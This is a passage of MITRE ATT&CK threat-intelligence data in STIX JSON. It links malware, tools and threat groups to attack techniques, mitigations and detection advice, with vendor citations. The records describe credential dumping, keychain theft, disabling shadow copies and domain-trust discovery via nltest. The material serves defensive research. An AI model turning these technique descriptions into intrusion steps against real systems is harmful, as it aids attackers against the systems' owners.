Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5cf9158-6f25-4167-8263-5a356bf816b9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T22:37:17.407Z","description":"[iKitten](https://attack.mitre.org/software/S0278) collects the keychains on the system.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f5cfe411-18f3-46e6-b8a0-5ea575c5dee7","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","external_references":[{"source_name":"DCShadow Blog","url":"https://www.dcshadow.com/","description":"Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects.(Citation: DCShadow Blog)","modified":"2022-04-20T00:08:05.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5d1e0f1-0e96-41dc-86a4-79307310a001","type":"relationship","created":"2020-02-12T15:22:11.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:14:25.959Z","description":"Restrict software installation to user groups that require it. A VNC server must be manually installed by the user or adversary.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5d2b140-1267-405b-8085-e02c135504f9","created":"2023-10-04T18:17:05.631Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:17:05.631Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can identify recently opened files by using an LNK format parser to extract the original file path from LNK files found in either `%USERPROFILE%\\Recent` (Windows XP) or `%APPDATA%\\Microsoft\\Windows\\Recent` (newer Windows versions) .(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5d32cc0-dc9e-4ff4-8af2-b131c303a1a1","type":"relationship","created":"2020-02-19T18:46:06.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T17:59:21.126Z","description":"Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5d63c0b-0857-4382-9f45-c45beba57737","created":"2024-05-20T20:23:44.982Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:23:44.982Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used [Winnti for Linux](https://attack.mitre.org/software/S0430) for access to victim Linux hosts during intrusions(Citation: Crowdstrike HuntReport 2022).","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5d844e2-b442-4422-9880-e648ee387d67","created":"2024-08-08T18:37:51.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:30:37.016Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) has the ability to disable `SystemRestore` and Volume Shadow Copies.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5e29f3a-99b1-4c45-952b-c238f72435ab","type":"relationship","created":"2020-03-19T23:37:02.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/gentilkiwi/mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","source_name":"Deply Mimikatz"},{"url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","source_name":"GitHub Mimikatz lsadump Module"},{"url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.048Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5e2c4ef-fe56-416e-8d74-733272c7310b","type":"relationship","created":"2021-04-16T19:04:13.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.499Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5e601f7-5f7a-4888-9e90-e7f815d5013c","created":"2023-04-05T16:43:39.984Z","revoked":false,"external_references":[{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:43:39.984Z","description":"For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors embedded a base64-encoded payload within a LNK file.(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5e6ce32-60e2-4a2c-8cc9-efb9d613a8e4","type":"relationship","created":"2020-05-18T17:29:30.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."}],"modified":"2020-05-20T20:26:59.680Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has exploited the Office vulnerability CVE-2017-0199 for execution.(Citation: ClearSky MuddyWater June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5e7233b-6419-4c09-b95b-c43f3004f246","type":"relationship","created":"2020-05-06T21:01:23.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.470Z","description":"[Attor](https://attack.mitre.org/software/S0438) performs the injection by attaching its code into the APC queue using NtQueueApcThread API.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f24a8f-6d98-4f00-9db2-e92189f7d67a","type":"relationship","created":"2021-10-11T18:53:48.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.808Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can collect local files from the system .(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f3a9b4-194a-4779-8fdd-2dd6f01559c9","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for processes being viewed that may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f463d9-d604-406e-89f3-dbf26ef74a69","type":"relationship","created":"2020-05-08T19:27:12.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.159Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to save and execute VBScript.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f4cd1c-b71b-4cdd-ab7c-77a5981bb56b","type":"relationship","created":"2020-10-20T15:47:55.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-15T01:29:53.378Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5f833ab-9ee4-477b-854a-b7b4446761ba","created":"2021-09-08T17:40:25.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T14:44:04.552Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has retrieved a list of trusted domains by using nltest.exe /domain_trusts.(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5faa97f-761c-4978-8535-2d9a42fcdd6f","created":"2019-06-05T17:31:22.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif File Dec 2014","description":"Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/"},{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.895Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has copied itself to and infected files in network drives for propagation.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro Ursnif File Dec 2014)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5fc2b7c-72d3-47be-8287-9608b6beb63d","type":"relationship","created":"2020-08-24T13:43:00.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-24T13:43:00.187Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5fcb813-4522-4846-8176-b630847269d9","created":"2023-09-13T19:17:39.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T17:11:12.817Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can use a PowerShell script for second-stage execution.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.252Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6007218-9dc2-476d-b08a-8e3cd5e8e0b3","created":"2024-08-14T13:34:24.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:57:27.698Z","description":"(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f602a8fc-5175-4bfe-a21d-1602d4c5c1ed","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6030347-c316-4c5c-b7ce-84c39aa09f85","type":"relationship","created":"2020-07-23T16:24:07.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:24:07.818Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can use the ps command to discover other cryptocurrency miners active on the system.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6072bdd-734e-4fa0-b11a-d02fed4f19ec","created":"2024-08-26T18:18:22.941Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:18:22.941Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) developed malicious npm packages for delivery to or retrieval by victims.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f60a3a4e-ba53-47ba-8e31-e301f3983f6e","type":"relationship","created":"2019-02-21T21:11:08.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). 